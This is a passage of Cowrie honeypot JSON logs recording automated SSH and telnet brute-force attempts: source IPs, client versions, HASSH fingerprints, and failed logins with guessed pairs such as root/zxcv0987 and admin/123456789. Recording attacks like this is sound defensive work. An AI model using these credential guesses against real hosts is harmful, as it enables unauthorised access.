{"eventid":"cowrie.login.failed","username":"root","password":"zxcv0987","message":"login attempt [root/zxcv0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:18.917652Z","src_ip":"62.133.62.83","session":"7eee053199f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:19.999556Z","src_ip":"62.133.62.83","session":"7eee053199f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39952,"dst_ip":"159.203.135.109","dst_port":22,"session":"c848ece9ea35","protocol":"ssh","message":"New connection: 103.153.68.219:39952 (159.203.135.109:22) [session: c848ece9ea35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:33.815949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:33.820051Z","src_ip":"103.153.68.219","session":"c848ece9ea35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:34.064019Z","src_ip":"103.153.68.219","session":"c848ece9ea35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:34.827701Z","src_ip":"103.153.68.219","session":"c848ece9ea35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:36.075662Z","src_ip":"103.153.68.219","session":"c848ece9ea35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39594,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a90bdaae207","protocol":"telnet","message":"New connection: 107.6.151.170:39594 (159.203.135.109:23) [session: 3a90bdaae207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:42.700245Z"}
{"eventid":"cowrie.session.closed","duration":59.394163846969604,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:44.565912Z","src_ip":"94.23.66.112","session":"a41afc28aa3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.8","src_port":60928,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f1d6717cdc","protocol":"ssh","message":"New connection: 91.92.40.8:60928 (10.17.0.5:22) [session: 64f1d6717cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:54.875647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:55.191814Z","src_ip":"91.92.40.8","session":"64f1d6717cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:55.195126Z","src_ip":"91.92.40.8","session":"64f1d6717cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:56.512870Z","src_ip":"91.92.40.8","session":"64f1d6717cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:40:58.179436Z","src_ip":"91.92.40.8","session":"64f1d6717cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47810,"dst_ip":"159.203.135.109","dst_port":22,"session":"d195921dcda8","protocol":"ssh","message":"New connection: 2.57.122.238:47810 (159.203.135.109:22) [session: d195921dcda8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:09.784333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:09.788815Z","src_ip":"2.57.122.238","session":"d195921dcda8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:09.897277Z","src_ip":"2.57.122.238","session":"d195921dcda8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:10.228393Z","src_ip":"2.57.122.238","session":"d195921dcda8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:11.338993Z","src_ip":"2.57.122.238","session":"d195921dcda8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":53308,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cad68a93432","protocol":"ssh","message":"New connection: 190.128.201.18:53308 (159.203.135.109:22) [session: 7cad68a93432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:11.369685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:11.374220Z","src_ip":"190.128.201.18","session":"7cad68a93432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":20272,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb2ae05747c3","protocol":"ssh","message":"New connection: 123.58.215.196:20272 (10.17.0.5:22) [session: fb2ae05747c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:11.397665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:11.406553Z","src_ip":"123.58.215.196","session":"fb2ae05747c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:11.515991Z","src_ip":"190.128.201.18","session":"7cad68a93432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:11.636614Z","src_ip":"123.58.215.196","session":"fb2ae05747c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chase","password":"chase","message":"login attempt [chase/chase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:12.109174Z","src_ip":"190.128.201.18","session":"7cad68a93432","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"front-user","password":"front-user123","message":"login attempt [front-user/front-user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:12.564537Z","src_ip":"123.58.215.196","session":"fb2ae05747c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:13.253389Z","src_ip":"190.128.201.18","session":"7cad68a93432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:13.789978Z","src_ip":"123.58.215.196","session":"fb2ae05747c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.776078939437866,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:18.476377Z","src_ip":"107.6.151.170","session":"3a90bdaae207","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":56278,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a22be29ca6","protocol":"ssh","message":"New connection: 4.213.224.194:56278 (10.17.0.5:22) [session: 04a22be29ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:32.365465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:32.370288Z","src_ip":"4.213.224.194","session":"04a22be29ca6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:32.564704Z","src_ip":"4.213.224.194","session":"04a22be29ca6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123!@#","message":"login attempt [root/Ab123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:33.378916Z","src_ip":"4.213.224.194","session":"04a22be29ca6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:34.578083Z","src_ip":"4.213.224.194","session":"04a22be29ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36864,"dst_ip":"159.203.135.109","dst_port":23,"session":"b22af860c425","protocol":"telnet","message":"New connection: 128.199.8.54:36864 (159.203.135.109:23) [session: b22af860c425]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:39.000981Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.182.85.212","src_port":54238,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bcc9d9256ff","protocol":"ssh","message":"New connection: 62.182.85.212:54238 (10.17.0.5:22) [session: 9bcc9d9256ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:51.609822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:51.614013Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:51.733110Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:c3:c5:b6:c3:ac:f1:5e:36:da:13:77:34:d3:74:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmr8lMI2aQX6o9T147h6VLxQ3qFlj0SomPZ0Xj15hU5GqUTwUWddc+woNcxdvdKILpGhQvLDQtiDvTi6/wb4zmpBlnpPzVTWkiysjswrYBui5itXb/xMBwNuM/8YOVVRyIT1Z54YFpzC+nSfQQS28f1Fw51EP7lmhYc3I/CQ0xpcbMAXaoqAmu77EHA9gqUPGOIpC9GLfw09VepC/jcRCkfQqyPeDYxuNB4OQUeSPqwCldiIP75tIPdHBHDZMfl7AHktMpzQPs7JLi7894UO7by4cX59+pDxp8OgaZS5yWDYZgKrgsQ5b2NCjMHD6+jzOsR1pr71OiCF+BHl+cTyovw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:c3:c5:b6:c3:ac:f1:5e:36:da:13:77:34:d3:74:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.294739Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:c3:c5:b6:c3:ac:f1:5e:36:da:13:77:34:d3:74:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmr8lMI2aQX6o9T147h6VLxQ3qFlj0SomPZ0Xj15hU5GqUTwUWddc+woNcxdvdKILpGhQvLDQtiDvTi6/wb4zmpBlnpPzVTWkiysjswrYBui5itXb/xMBwNuM/8YOVVRyIT1Z54YFpzC+nSfQQS28f1Fw51EP7lmhYc3I/CQ0xpcbMAXaoqAmu77EHA9gqUPGOIpC9GLfw09VepC/jcRCkfQqyPeDYxuNB4OQUeSPqwCldiIP75tIPdHBHDZMfl7AHktMpzQPs7JLi7894UO7by4cX59+pDxp8OgaZS5yWDYZgKrgsQ5b2NCjMHD6+jzOsR1pr71OiCF+BHl+cTyovw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:41:52.297939Z","src_ip":"62.182.85.212","session":"9bcc9d9256ff","protocol":"ssh"}
